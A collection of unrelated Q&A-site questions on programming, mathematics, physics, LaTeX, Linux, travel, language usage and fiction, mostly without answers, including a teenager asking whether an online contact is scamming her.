Assuming I have a left outer join as such:  from f in Foo join b in Bar on f.Foo_Id equals b.Foo_Id into g from result in g.DefaultIfEmpty() select new { Foo = f, Bar = result }   How would I express the same task using extension methods? E.g.  Foo.GroupJoin(Bar, f => f.Foo_Id, b => b.Foo_Id, (f,b) => ???)     .Select(???)


How do I generate numbers according to a Soliton distribution?

The  is a discrete probability distribution over a set $\{1,\dots, N\}$ with the probability mass function  $$ p(1)=\frac{1}{N},\qquad p(k)=\frac{1}{k(k-1)}\quad\text{for }k\in\{2,\dots, N\} $$  I'd like to use it as part of an implementation of an , ideally in Python where a uniform random number generator is available.


The kernel and range of the powers of a self-adjoint operator

Suppose $L: V \rightarrow V$ self-adjoint (on a finite-dimensional space $V$); $b$ is a real number. Show   The minimal polynomial has distinct roots; $\ker(L) = \ker(L^k)$ for $k\geq1$; $\operatorname{im}(L) = \operatorname{im}(L^k)$ for $k\ge 1$; $\ker(L-bI) = \ker((L-bI)^k)$ for $k\geq1$;     My thoughts:  1) I think I'm supposed to assume root is repeated and reach a contradiction but I'm not sure how to proceed mathematically with that.  2-4) pretty sure there's some huge theorem that I'm missing.


Counting lines, words, characters and top ten words?

Hi I'm pretty new to Stack Overflow so I hope that I'm doing this correctly and that someone out there has the answer I need.  I'm currently coding a program in Java with Eclipse IDE an my question is this:  I need a snippet of code that does the following  It's supposed to get a .TXT file containing text and from that .TXT file  count the number of rows and print it,  count the number of words and print it,  count the number of characters and print it. And finally make a list of the top 10 words used and print that.  Allt the printing is done to system outprintln  I'm pretty new to Java and am having some difficulties.  Anyone out there who can provide me with these lines of code or that knows where i can find them? I want to study the code provided that's how I learn best=)  Thanks to all   Didnt find the edit button sorry...  I Added this to my question:  Hehe it´s an assignment but not a homework assignment ok i see well i could provide what i've done so far, i think im pretty close but it´s not working for me. Is there anything i have missed?  // Class    Tip   import java.io.*; import java.util.*;  class Tip {     public static void main(String [] args) throws Exception     {          String root = System.getProperty("user.dir");            InputStream is = new FileInputStream( root + "\\tip.txt" );         Scanner scan = new Scanner( is );          String tempString = "";         int lines = 0;         int words = 0;         Vector<Integer> wordLength = new Vector<Integer>();         int avarageWordLength = 0;          while(scan.hasNextLine() == true)         {                 tempString = scan.nextLine();                 lines++;         }          is.close();          is = new FileInputStream( root );         scan = new Scanner( is );          while(scan.hasNext() == true)         {                 tempString = scan.next();                 wordLength.add(tempString.length());                 words++;         }          for(Integer i : wordLength)         {                 avarageWordLength += i;         }         avarageWordLength /= wordLength.size();           System.out.println("Lines : " + lines);         System.out.println("Words : " + words);         System.out.println("Words Avarage Length : " + avarageWordLength);          is.close();          } }


What is the term for an incorrect word used in a sentence

My brain has drawn a blank.   What is an adjective I can use to describe someone's use of a word that is similarly spelled, but not even close in definition to the word they intended to use.     Example:      I don't take myself too seriously but I can be a bit of a   contraction at times, a good or bad person.   I am almost positive they were going for something along the lines of "contradiction".


Why does the mirror modifier sometimes give me an overlapping mesh?

When I add a mirror modifier it sometimes doesn't mirror correctly, giving me an overlapping mesh. How can I fix this?


This question is inspired by comments on . The original poster wrote:     How to correct this error?   And comments say that it's an incorrect question. Better is     How do I correct this error?   I am not a native English speaker, so the fact that both versions sound natural to me is quite irrelevant. But I would like to ask anyway whether the first version is really bad.  I have seen a lot of questions starting with How to, so if you say that the first version is incorrect, could you please summarize when it is OK to use How to and when it is preferable to say How do I.


Dark matter and relativistic mass change

Could the requirement of a dark matter for the missing mass in the universe simply be explained by objects having high relativistic mass change with respect to other objects?  If this is not the case, how is it explained mathematically?


How change user form mode programmatically?

i create 2 custom user register form mode :     When i go to mysite/user/register  Drupal show me the last form mode i create :     S'inscrire   But when i go in the admin mode, for add a user, it show me the same form. i try to display "Affichage Admin" form mode with more field.  So i try to alter the form mode programmatically.  Any idea how can i change form mode before it render ?


How to remove all i386 packages from Ubuntu 64bit?

Over the time I installed many i386 packages, which I no longer need. How can I clean up the system and stay only with the amd64 packages?


Matplotlib not found in Anaconda virtualenv, Ubuntu 20

I cannot get matplotlib to work under a virtualenv in Ubuntu 20.04.  (myenv) $ pip3 install matplotlib Requirement already satisfied: matplotlib in /usr/lib/python3/dist-packages (3.1.2) (myenv) $ pip3 list | grep matplotlib matplotlib              3.1.2          (myenv) $ python3 Python 3.8.2 (default, Mar 26 2020, 15:53:00)  [GCC 7.3.0] :: Anaconda, Inc. on linux Type "help", "copyright", "credits" or "license" for more information. Reading /home/user1/.pythonrc readline is in /home/user1/apps/anaconda3/envs/myenv/lib/python3.8/lib-dynload/readline.cpython-38-x86_64-linux-gnu.so >>> import matplotlib Traceback (most recent call last):   File "<stdin>", line 1, in <module> ModuleNotFoundError: No module named 'matplotlib' >>>      But it works under the base virtualenv  (base) $ python3 Python 3.7.6 (default, Jan  8 2020, 19:59:22)  [GCC 7.3.0] :: Anaconda, Inc. on linux Type "help", "copyright", "credits" or "license" for more information. Reading /home/user1/.pythonrc readline is in /home/user1/apps/anaconda3/lib/python3.7/lib-dynload/readline.cpython-37m-x86_64-linux-gnu.so >>> import matplotlib >>>    Note the different python versions. I don't recall doing any upgrade, I simply create myenv with conda create -n myenv.  I find it puzzling. How can I fix this?


Why the redundant adding and subtracting inside space commands?

Why do some commands like   \titlespacing*{\section}{0pt}{5.5mm plus 1mm minus .2mm}{4.3mm plus .2mm}  have this strange adding and subtracting for length. I.e. why not write 6.3mm instead of 5.5+1-.2?  The prototype for this command is \titlespacing*{<command>}{<left>}{<before-sep>}{<after-sep>}  So the numbers clearly represent spaces.  Thanks so much!


I'm using visual studio 2008 and i want to read a .pst file using c# code and want to display the contents of the pst file on a webpage? please let me know the detailed procdedure of doing that.  Thanks Satish


$$\sin^2z+\cos^2z=1\tag a \space \forall z \in \mathbb{C}$$  $(a)\div\sin^2z$  $$1+\cot^2z={\csc^2{z}}\tag b$$  $(a)\div\cos^2z$  $$\tan^2z+1=\sec^2z\tag c$$  $(b)$ and $(c)$ are derived from $(a)$.  But where was $(a)$ originally derived from?


What would my Election Candidate score be?

How can I find out what my election candidate score is?  For example, on Ask Ubuntu I'd like to see exactly what score I'd have out of 40.  A SEDE query would work but I'd like one nicely presented - an equivalent of flair would be really nice!


Irrationality of $e^\sqrt{2}$ - reference request

Does anybody have a proof or know about the result by Borwein and Bailey that      $e^\sqrt{2}$ is irrational   and perhaps the motivation behind the problem and it's solution.


How to install LibreOffice Manually in Lubuntu 13.04?

How to install LibreOffice Manually in Lubuntu 13.04 ? i have downloaded a LibreOffice_4.1.1_Linux_x86-64_deb.tar.gz and when i extract i found 2 folders and 1 file, when i click install and new box appear there i click execute but nothing happen.  Please guide me how to install LibreOffice using .gz downloaded file.  Thanks


When to use "Elven", "Elvish" and "Elfic"?

Well, these are three adjectives for "something from the elves". But I'm Spanish and in my language there's only one adjective for these (élfico), and I can't understand what the difference is.


Why did the Wayne Enterprises corporate building change so radically?

Why did the Wayne Enterprises corporate building change so radically between Batman Begins and The Dark Knight?  I saw no reference at all to the change in the movies themselves.    The Wayne Enterprises corporate building as seen in Batman Begins.  A silver/light gray, 3 tiered structure capped with greenish pyramid.   The Wayne Enterprises corporate building as seen in The Dark Knight.  A black, very box like structure.  I can think of a few (v. poor) reasons for the color change, but why change even the shape of the building?


90 day waiting period between 180 day periods?

The US state department contains this confusing statement that implies that there is an additional 90-day waiting period before I can restart a 90/180 Schengen visa. This does not match several other posts on this site.     If you spend three months in the Schengen area during any six-month period, you must wait another three months, from the last date of departure from the Schengen area, before you can apply to enter the Schengen area again without a visa. If you do not meet these conditions, or if you plan to stay in the Schengen area longer than three months, contact the embassy of the country where you plan to spend the majority of your time to apply for a visa.     Could anyone provide any insight? All of the other posts seem to indicate that a second 180 day period could begin immediately after a prior period ends.


How can I create a application launcher for a .sh file?

I have this run.sh file, and I've create a symbolic link into my desktop.   When I double-click on it the file the following dialog appearsr    And I have to click on "run" each time. How can I create a link that runs by default?


Read before you decide THIS question is off-topic  I don't expext to get much sympathy on this one but....   I posted my question on serverfault thinking it was for networking questions. Gets put on hold as off-topic, my mistake, no big deal, let's move on. (Also I didn't get notified of either hold or response to my subsequent flag for migrate. Not sure about flags but I know holds are supposed to show)   Flag my question to be moved to site holding mod suggested it be moved to: denied with no explanation I politely ask for a suggestion as to where to move and the reply? "Frankly, this is a terrible question.  I won't put it anywhere else."   You could imagine 4 hours for such a helpful response and I was a bit peeved.  I had a specific question about a specific function of a uniquitous networking device and he was telling me, rather rudely, that it didn't belong anywhere on the ENTIRE stack network.  Didn't offer a single word as to why it was so terrible.  I illustrate, in kind, how that's not so helpful and question gets closed as "too many off-topic comments."  There were two comments by me: one about the relevant site and the other about the complaint (which was the only one he deletes, doesn't like being questioned I guess)  Just so my post can have a specific question   I've heard of power-tripping mods here and was wondering just how bad it is.  I haven't had any other issues but I want to avoid it as much as possible. I probably know who it was (no names) because of how the question was closed, but is there a specific way to know who responded to a flag request?  Again just to help avoid future situations. Funny enough person who closed put another question of mine on hold yesterday, but I agreed it was too broad and deleted it.   Relevance of THIS post: If you think discussing moderator behaviour is not a meta topic we can have a separate debate on that.  If you think this belongs on meta.serverfault: this post wasn't about the specific question posted there - it was was about a moderator's behaviour and the context isn't specific to serverfault.  Also I'm new there and can't post to meta.


Generate sample data from Gaussian mixture model

I am given the values for mean, co-variance, initial_weights for a mixture of Gaussian Models. Now how can I generate samples given those: In brief, I need a function like   X = GMMSamples(W, mu, sigma, d)   where W: weight vector, mu - mean vector, sigma - covariance vector, d - dimensions of samples How can I implement it in python ? I found scipy library that has GaussianMixture library. It basically takes input as sample values and calculate itself mean, co-variance. But for my case it is almost reverse. I am given mean, co-variance, and parameters mentioned above and I need to generate sample data values.  Thank you.


How to keep the numbering when using \usepackage{titlesec}

I want to change the Sections and subsection spacing, therefore I use "\usepackage{titlesec}". However, at the moment I import the "titlesec" package I lose my section and subsection numbering.  I am aware of the "titleformat", however, I have not been able to combine the spacing and the format together in order to have numbering and the spacing I add to my example.  I must add that I'm compiling in Ubuntu 16, using TeXMaker.  \documentclass[a4paper, 11pt, twoside,openright]{report} \usepackage{lipsum}  \usepackage{titlesec}  \titlespacing\section{0pt}{8pt plus 2pt minus 2pt}{0pt plus 2pt minus 2pt} \titlespacing\subsection{0pt}{8pt plus 2pt minus 2pt}{0pt plus 2pt minus 2pt} \titlespacing\subsubsection{2pt}{8pt plus 2pt minus 2pt}{0pt plus 2pt minus 2pt}   \sloppy %avoid word passing the limits of page aligment. \begin{document}   \chapter{uno prueva}  \section{uno Section} \lipsum[1] \section{dos Section} \lipsum[2] \section{tres Section} \lipsum[3] \chapter{dos prueva} \section{uno Section}q qsdfdqsf \section{dos Section} qsdf \section{tres Section} \lipsum[1]  \end{document}   EDIT 1:  As Requested by @egreg I added \listfiles at the beginning of the document and here they are the log results:  This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2017.11.1)  24 JAN 2018 14:28 entering extended mode  restricted \write18 enabled.  %&-line parsing enabled.   *File List*   report.cls    2014/09/29 v1.4h Standard LaTeX document class    size11.clo    2014/09/29 v1.4h Standard LaTeX file (size option)     lipsum.sty    2014/07/27 v1.3 150 paragraphs of Lorem Ipsum dummy text  titlesec.sty    2016/03/15 v2.10.1 Sectioning titles  ***********


I'm trying to send a file for a label as a PDF and the text is white. Is there a way that I can make the art board transparent so that she can see it without me saving it for web?


Regex that matches only dirnames with integers and dots

Trying to write -regex for a find statement that shows only directories with dots and numbers, for example 1.2.3.4 oraz 1.2.3 or 1.3.4.5.6 was trying something like  "-regex '\.[0-9.]+'", but it also shows dirs with letters. And I only want directories with numbers and dots.


What is it called when you use many words to describe the word you want to use?  I know there is a technical word that's used in foreign language acquisition that means using many words to describe a word you don't know.  I'm doing it now, just talking and beating around the bush until someone can tell me the word I'm looking for.


Searched every where on web but I couldn't find out the formula for this series.  That's why I am asking here.  I tried following following formula:  $((n*(n+1))/2)^n$


I have evaluated $\frac{d}{dx} x^x$ to be $x^x \left( log(x) + 1 \right)$ is that correct? Furthermore, what is $\int x^x dx$? Is that even possible? If not, why?


Where does the mass of a proton come from?

I just read that the mass of a proton is one hundred times more than the sum of the masses of the quarks composing it. Now, I know that these numbers (the mass of the proton and the sum of the masses of the quarks) don't need to agree due to E=mc2, but why isn't the mass of the proton less than the sum of the quark masses? I mean, the quarks are obviously bound together to form a proton, and from QM I know that bound states require the total energies to be negative (assuming the potential energy at infinite separation is zero, but I guess that's fair if the strong force goes to 0 as the distance between two interacting particles, two quarks in this case, goes to infinity). In other words, the sum of the kinetic and potential energies of the quarks should be negative, causing the mass of a proton to be less than the masses of the quarks. This is similar to how the mass of an atomic nucleus is less than the sum of the masses of the protons and neutrons, or that the mass of an atom is less than the sum of the masses of the electrons, protons and neutrons. Why is this totally wrong, and how is it that a proton is as much as a hundred times heavier?


I just downloaded texmaker, and when I try to "Quick Build" a template, I receive either of the following error messages:  ! LaTeX Error: File `revtex4.cls' not found.Type X to quit or <RETURN> to proceed,or enter new name. (Default extension: cls)Enter file name:! Emergency stop.<read > \usepackage! LaTeX  ! ==> Fatal error occurred, no output PDF file produced!   Or  ! LaTeX Error: File `framed.sty' not found.Type X to quit or <RETURN> to proceed,or enter new name. (Default extension: sty)Enter file name:! Emergency stop.<read > \usepackage   ! ==> Fatal error occurred, no output PDF file produced!  I'm new to this and have no idea what to do.


How can I book a flight plan found on Matrix Airfare Search?

When I find a flight I like on the , it spits out a bunch of travel agent secret codes™.  If I look for the same flight on the airline's web site, I often get much higher rates.  As an example, looking at a flight from Cape Town (CPT) to New York (JFK), on December 31, 2013, I get the following from Matrix:     Cape Town (CPT) to New York (JFK) - Tue, Dec 31   Turkish Airlines Inc.    Cape Town (CPT) to Johannesburg (JNB) - Tue, Dec 31   Turkish Airlines Inc. 41    Dep: 4:30PM Arr: 6:35PM 2h 5m   Airbus A330  Economy (T)   Stop in JNB      1h 10m        Turkish Airlines Inc.  Johannesburg (JNB) to Istanbul (IST) - Tue, Dec 31   Turkish Airlines Inc. 41    Dep: 7:45PM Arr: 5:30AM 9h 45m  Airbus A330  Economy (T)   Layover in IST   Wed, Jan 1  1h 55m        Turkish Airlines Inc.  Istanbul (IST) to New York (JFK) - Wed, Jan 1   Turkish Airlines Inc. 3 Dep: 7:25AM Arr: 11:25AM    11h 0m  Airbus A330  Economy (T)                  Cost per passenger (including taxes & fees)   $781.60   Total cost for 1 passenger  $781.60             Provide this information to a travel agent to help them match the fares found.    Make sure to provide the exact booking and fare codes shown.   Fare 1: Carrier TK TA2PXOW CPT to NYC (rules)   Passenger type ADT, ONE-WAY-ONLY fare, booking code T   Covers CPT-IST (Economy), IST-JFK (Economy) $406.54   USDA APHIS Fee (XA) $5.00   US Immigration Fee (XY) $7.00   US Customs Fee (YC) $5.50   Turkish Int'l Airport Service Charge (TR)   $6.80   (YR)    $278.40   US International Arrival Tax (US)   $17.20   South Africa Passenger Service Charge (ZA)  $32.40   South Africa Air Passenger Tax (WC) $18.70   South Africa Passenger Safety Charge (EV)   $1.60   South Africa Passenger Services and Security Charge (UM)    $2.00        Subtotal per passenger    $781.60   Number of passengers    x1        TOTAL AIRFARE & TAXES $781.60   Changes to this ticket will incur a penalty fee.   Fare construction (can be useful to travel agents)   CPT TK X/IST TK NYC 406.06TA2PXOW NUC 406.06 END ROE 10.146090 XT 1.60EV 2.00UM 18.70WC 32.40ZA 6.80TR 5.50YC 7.00XY 5.00XA 17.20US 278.40YR   For this search, I specified USD as the currency, but left the Sales City field blank.  When I try to book the same flight on the Turkish Airlines web site, I get a rate of €797 (~USD$1079), or a USD$298 difference.  By looking at the details of the two sites, I see that it is indeed selling me the same flight.  How can I take advantage of the Matrix-provided travel agent secret codes™ to book the flight at the lower price? Or must I go through a travel agent to use these codes?


How the word 'destroyed' functioned here?

The tsunami and the undersea earthquake which triggered it, the largest ever recorded in the region, killed nearly 20,000 people, destroyed over 100,000 homes and threw the lives of tens of millions into turmoil.


I finally installed Ubuntu 14.04 (from a boot CD) but everything seems so slow. It takes a few seconds to open a window or to close a window, like if everything was in slow motion. When I type a text in any field, specially from the launcher, the characters appear on the monitor much slower than I type them. I know I have little memory, but it is still too slow.  I read about updating video drivers, but I don't know how to upgrade them as there no new "recommended" ones.  Here is what I have:   Memory 985.0 MiB  Intel® Pentium(R) M processor 1.70GHz   Graphics VESA: Intel(r)852GM/852GME/855GM/855GME  32 bit OS  40G HDD The PC is a Inspiron 710m laptop.   Any advice would be appreciated,  Thanks!


Processing large amounts of Rasters in R

I have 6500 processed and clipped rasters that indicate snow levels on a daily basis in the northern hemisphere. I need to create a raster that represents a sum of the snow for the season. The winter season would then go from September 1999 to march 2000. I was just wondering how I would go about recalling the daily rasters into R using the loop function/ how i would go about calculating the seasonal sums. Keep in mind that the rasters span two different years and that I don't want to include all 1999 snow data because that would include the previous winter(98/99) as well.


What made the Ministry admit Sirius was innocent?

In Prisoner of Azkaban, Professor Dumbledore explains to Harry why he cannot convince the ministry that Sirius is innocent.  Yet, in the beginning of Half-Blood Prince, the Minister of Magic admits to the Muggle Prime Minister that Sirius Black was innocent:     ‘Is Serious Black with – er – He Who Must Not Be Named?’      ‘Black? Black?’ said Fudge distractedly, turning his bowler rapidly in his fingers.  ‘Sirius Black, you mean? Merlin's beard, no. Black's dead. Turns out we were – er – mistaken about Black. He was innocent after all. And he wasn't in league with He Who Must Not Be Named either. […]’      – The Half-Blood Prince Chapter 1: The Other Minister   What has changed that has made them admit his innocence?  Sirius's body disappears in the fight in Order of the Phoenix, so there's no evidence left that he has fought there.  Pettigrew is still in hiding.  There's still only Harry and Hermione's word against Snape's story that would prove Sirius's innocence.


Error LNK2019 unresolved external symbol "public: __thiscall SLinkList::SLinkList(void)"

I don't know why: When declarations and definitions are not separated from the block's class(class SLinkedList{ ....}). The building will be successful.  But when I separate declarations and definitions of the class below. The building will report an error like this      "Severity  Code    Description Project File    Line    Suppression State   Error   LNK2019 unresolved external symbol "public: __thiscall SLinkList<char>::SLinkList<char>(void)" (??0?$SLinkList@D@@QAE@XZ) referenced in function _main  LinkedLists C:\Users\LQA\Documents\Visual Studio 2015\Projects\DataStructures\DataStructures\Source.obj 1"    This is the detail source code: [LinkedLists.h]  #include <iostream> #include <string> using namespace std;   //Singly Linked List  template<typename E> class SLinkList;  template<typename E> class SNode { private:     E elem;     SNode<E>* next;     friend class SLinkList<E>; };  template<typename E> class SLinkList { public:     SLinkList();     ~SLinkList();     bool empty() const;     const E& front() const;     void addFront(const E& e);     void removeFront(); private:     SNode<E>* head; };   [LinkedLists.cpp]  #include "LinkedLists.h"   /*  * SINGLY LINKED LIST  */ template<typename E> SLinkList<E>::SLinkList() :     head(NULL) {}  template<typename E> SLinkList<E>::~SLinkList() {     while (!this->empty())     {         removeFront();     } }  template<typename E> bool SLinkList<E>::empty() const {     return head == NULL; }  template<typename E> const E& SLinkList<E>::front() const {     return this->head->elem; }  template<typename E> void SLinkList<E>::removeFront() {     SNode<E>* old = this->head;     this->head = old->next;     delete old; }  template<typename E> void SLinkList<E>::addFront(const E& e) {     SNode<E>* v = new SNode<E>;     v->elem = e;     v->next = this->head;     this->head = v; }   [Source.cpp]  #include "LinkedLists.h" using namespace std;  int main(void) {     SLinkList<char>* llst = new SLinkList<char>();     //llst->addFront('a');     //llst->addFront('b');     return 0; }   Does anyone know what was caused to this problem?


Affine cipher: calculate the key from a known plaintext/ciphertext pair

Suppose I have a ciphertext that I know is encrypted using an affine cipher in $\mathbb{Z}_{26}$. The plaintext begins with es and the corresponding ciphertext is FX. How can I calculate the key?


What does the following code do in C/C++?  if (blah(), 5) {     //do something }


Am I being scammed by a sugar daddy who wants me to buy wallet cards and forward paypal money?

I am 17 years old and I met this sugar daddy online that only wanted to talk and for me to be his companion, nothing sexual. I agreed.   After 2 weeks of talking he said I will be sending you your first allowance. I sent him my full name and email and he sent me a cheque through my email. I deposited the money today. He sent me $800 so now I have $830 (yes I have only $30).   Then he said that he needs help. I needed to buy him 3 steal wallet cards each $50. He is working on an app in Denmark and also works in some type of cryptocurrency. So at first I said why do I need to get it and he said that he lives in Denmark and it needs to be dollar or whatever. I said sure. Then he asked me for paypal because someone was going to paypal me some money and I needed to send it to someone. I disagreed and he said okay. Then I asked him if he is scamming me because I read about fake checks and scamming situations.   I am so anxious and scared I am going to have a panic attack and faint. I don’t know anything I’ve never done this please what should I do?  edit: edit: i blocked him and reported his account. then i went to my bank and told them about it. they put the $800 on hold until it gets returned or something idk. the man texted me from another account saying he will report my account for fraud and have me arrested by Tuesday. i deleted the message and didn’t respond. can he do that ?


The sentence is this:  “two of the people I met were a sweet couple who wanted to move to the countryside.”  I have two questions.   Do I match “were/was” to “two of the people I met” or to “a sweet couple”?  If I need to match to “a sweet couple” do I take the couple as a single entity and use the singular case or do I need to consider the couple as more than one and use the plural case?


Is storing passwords hashed with the email more secure than without?

Say I have a platform, and I want to store a password.   Is it more secure to store the password prefixed with the users email, then to hash it then just hashing the password?  Example,  $hash = md5($email.$password);   Rather then just  $hash = md5($password);   Then to store the variable $password.


How would wormhole-based FTL violate causality?

We already have an answer why physically traveling faster than light would violate causality (the clock on board our hypothetical FTL spaceship would tick backwards to some outside observers).  However, would a wormhole-based FTL violate causality? In this case, never does an object actually move faster than light.  If this violated causality, then how could I send back information from, let's say, 2014 Earth to 2004 Earth?


Does magic armor grant an enhancement bonus to its armor bonus, or directly to your AC?

My previous assumption was that magic armor and magic shields gain an enhancement bonus to their own armor/shield bonuses, which indirectly translates to increased AC. However, in the process of answering , I ended up taking a more careful reading of the rules for magic shields, and ran across some inconsistencies in this interpretation. The  section is vague on the subject, only ever stating that magic armor grants an enhancement bonus (without ever specifying where to apply said bonus). So, reading further down the page, we find some circumstantial evidence against my previous interpretation:     Shield enhancement bonuses stack with armor enhancement bonuses.   This clarification is only needed if both enhancement bonuses are being applied to the same value (i.e. directly to armor class). If one is being applied to an armor bonus and the other is being applied to a shield bonus, the stacking rules wouldn't even apply.     A shield could be built that also acted as a magic weapon, but the cost of the enhancement bonus on attack rolls would need to be added into the cost of the shield and its enhancement bonus to AC.   Emphasis mine. There's no mention of an "enhancement bonus to shield bonus to AC," merely "enhancement bonus to AC."  As a result, I'm inclined to believe that magic shields and armor provide enhancement bonuses directly to the user's AC, rather than simply increasing the items' existing armor and shield bonuses. The distinction between the two rules interpretations is relevant in a few edge cases - for instance, in the linked question, a strict reading of the rules for Wild equipment would allow its user to benefit from a shield's enhancement bonus to AC, but not from a shield's enhancement bonus to its own shield bonus.  Is my understanding of these rules correct, and has Paizo ever made any statements clarifying the situation?


If $S$ is a finitely generated graded algebra over $S_0$, $S_{(f)}$ is finitely generated algebra over $S_0$?

Let $S = \bigoplus_{n\ge 0} S_n$ be a graded commutative ring. Let $f$ be a homogeneous element of $S$ of degree $> 0$. Let $S_{(f)}$ be the degree $0$ part of the graded ring $S_f$, where $S_f$ is the localization with respect to the multiplicative set $\{1, f, f^2,\dots\}$. Suppose $S$ is finitely generated algebra over $S_0$. Then $S_{(f)}$ is a finitely generated algebra over $S_0$.


What is a good book for quantum mechanics and quantum computation?

I am looking for a book in quantum computers for self-learning.The kind of book that teaches quantum-mechanics + quantum-computation. I have basic understanding in calculus , linear-algebra (like matrix addition,multiplication) and classical mechanics that is taught in the Advanced level.Just basic , like I don't understand (but know) the logic behind Maxwells equation or laplace operators etc.  But , as I am a CS student, my basic goal is understanding quantum computers as you should realize.  So what book is best for this purpose?


Does it have any use cases in native Javascript, Jquery, or Angular? I found out about this notation when I was reading about the use of $ in front of variable names. The $ is used a lot in Jquery, does it have any relation to Hungarian Notation also?


What suggestions should I make when reviewing a poorly written paper?

Since I need a break from the reviewing...  Often in my field I review papers from researchers in Asia (reviews are not double blind) which are poorly written. By poorly written, I don't mean that the prose is not pleasing to the eye, that there are problems with how the writing flows, or that there are innocuous typos or spelling mistakes. Instead, the grammar used by the authors differs seriously from normal English, and often produces significant changes in the meaning of sentences.  Usually such papers are ultimately readable, but one has to go back and re-read sentences or paragraphs several times to infer the meaning (and this is with strong knowledge of the research area!), so I generally won't reject a paper solely for this reason. However, I would feel remiss in my duties as a reviewer if I didn't instruct the authors to improve this aspect of the paper. I'd like to provide helpful advice for the authors without just giving them a laundry list of the errors.   Typically I highlight a few places where I had significant trouble understanding what they actually meant to say, and suggest seeking a professional editor before publication.   Are these reasonable things to suggest?   What other suggestions can I make?


How long does a ban or suspension on an SE site last?

I've tried to make some searches about ban and suspension but the data I found doesn't seem to correspond to my experience. I also cannot find a FAQ on the help section.  Can you explain me how these mechanics work?   I've just found  for a review ban duration to be extended automatically at every new suspension . But it's speaking of 2, 7, 30 days.  I've heard from a moderator that the suspension duration is 7, 30, 365 days. Is that correct? Can a moderator change the duration of a suspension?


I'm unable to launch the Tor Browser.  I downloaded it following the instructions on this page:  I've tried clicking on both icons--to no effect.  And when I try to launch it from the terminal, I get this error: Failed to load module "canberra-gtk-module"


Complement of maximal multiplicative set is a prime ideal

Let $R$ be a commutative ring with identity. I've been trying to prove the following:     If $S \subset R$ is a maximal multiplicative set, then $R \setminus S$ is a prime ideal of $R$.   I have spent some time in it, but nothing is coming to my mind. Any idea/solution will be appreciated.


Conservative Azure Windows VM to Run SQL Server 2008 R2

For testing purposes I need to set up three Azure Windows VMs to each run an instance of SQL Server 2008 R2 each holding one DB of approx 100GB. There will be quite a few complex stored procedures/queries/joins running against each database, but there won't be more than 2 connections at any given time.  Ideally I would like to do this as cheaply as possible, but I don't want to compromise performance. I'm not a DBA or very knowledgeable about machine performance, so I was wondering if anyone had any advice as to which tier would be a safe choice?


Why do we say "study window" not "study's window"?

Do you know why we say study window not study's window although we mean the window which belongs to study(room)?


Adding function to prototype vs object literal (using this)

I know that if I add a function to an constructors prototype that it will then be available to every object that uses the constructor. And I know that if you add a function as an (object literal I think it's called?) that you would have to access it as a property of the constructor itself. ().  But what if you declare the new function as 'this.xxx()' within the constructor. How is that any different from declaring a property on the prototype?  My guess is that declaring the function object on the prototype would result in delegation (and only one copy of that function would exist). Vs with 'this', every constructed object would have its own copy of the function.   Is that correct?  function A () { }  A.prototype.printNum = function () {     console.log('hi'); }  x = new A (); x.printNum(); // hi  function B () {     this.printNum = function () {         console.log('hi');     } }  y = new B (); y.printNum(); // hi


Htaccess redirect all traffic https, except mobile. And rewrite to non-www

I'm trying to rewrite using htaccess all traffic over SSL (https). However my certificate gives an error on mobile, so I Want mobile traffic to go over the normal http protocol.  This is my htaccess:  <IfModule mod_rewrite.c>     #Options +FollowSymlinks   # Options +SymLinksIfOwnerMatch     RewriteEngine On   # RewriteBase / </IfModule> <IfModule mod_rewrite.c>     RewriteCond %{HTTPS} !=on     RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]     RewriteRule ^ http://%1%{REQUEST_URI} [R=301,L] </IfModule>  <IfModule mod_rewrite.c>     RewriteCond %{SERVER_PORT} !^443     RewriteRule ^ https://ugaris.com%{REQUEST_URI} [R=301,L]     RewriteCond %{HTTP_HOST} ^www\.(.*)$ [NC]     RewriteRule ^(.*)$ https://%1/$1 [R=301,L]  </IfModule>   Just to be clear:  mobile -> http rest -> https all -> non-www


Inequality related to sides of a convex polygon

The question is: If $a_1,a_2,...a_n$ are the sides of a convex polygon $A_1A_2...A_n$  then prove the inequality: $$\frac{a_1^2+a_2^2+...+a_{n-1}^2}{a_n^2}\ge\frac{1}{n-1}$$ How do I even start approaching this? The only idea I tried was using Cauchy-Schwarz but I couldn't make the RHS appear. Can someone please provide a hint or some alternate method? Any help would be appreciated.


In the Landau theory of phase transitions, is the order parameter a thermodynamic variable of state?

In the Landau theory of phase transitions, one typically considers a "free energy" $F$ as a function of the temperature $T$ and the "order parameter" $\psi$: $F(T, \psi)$.  For the sake of clarity, let's consider the liquid-gas transition, in which the order parameter is usually taken to be the difference of densities between the ordered phase and the disordered phase.  In this case, it looks that the order parameter $\psi$ is closely related to the the volume $V$, a global variable of state.  What is the correct interpretation of $\psi$ as a thermodynamic variable?   I consider several logical possibilities, but all interpretations look troublesome to me:    $\psi$ is a variable of state replacing the volume. In this case I have a few related concerns:   Is the "free energy" $F$ the Helmholtz or the Gibbs free energy?    If $F$ is the Gibbs free energy, $F$ should depend on the temperature $T$ and the pressure $p$ (the conjugate variable of the volume), so it shouldn't depend on $\psi$.  If it is the Helmholtz free energy, it's ok that it depends on $\psi$, but the experiments are usually carried out at constant pressure, not constant volume.  Usually, state variables are something one can select at will [for instance, think of the phase diagram $(p, T)$]. However, the order parameter $\psi$ is not selected at will, but it is selected by the system as a result of the minimization process according to the Landau theory.  $\psi$ is yet another variable of state in addition to volume and temperature.    Why the pressure is not usually taken into account as a variable of state, and only the temperature is considered? What is the conjugate variable to $\psi$? Can really $\psi$ and $V$ be taken as independent?  $\psi$ is not a variable of state, is something else.   What else can $\psi$ be from the thermodynamic point of view? Same question as above, why is pressure not usually taken into account in Landau theory?


I saw a link to  in .  The link took me to a book in Amazon website.  redirects me to   So, I'll just repeat the title: What purpose does rads.stackoverflow.com serve?


Can I fix a box cake recipe where I added oil instead of water?

I screwed up and put 1 1/4 cup veg oil instead of water in my box cake recipe. Is there any way to fix this? Can I add flour or something? Or is it doomed for the trash can?


My question is using a guid(data type unique identifier) versus using identity specification(data type int). Are there any articles where it talks about why you would use one versus another? I'm at a new company using guid and it seems alot slower but maybe its my imagination. Amazingly this is the first place I've seen it used for the uniqueness of a row. Any help or thoughts you have as to why use one versus the other?


Java: String immutability and operator ==

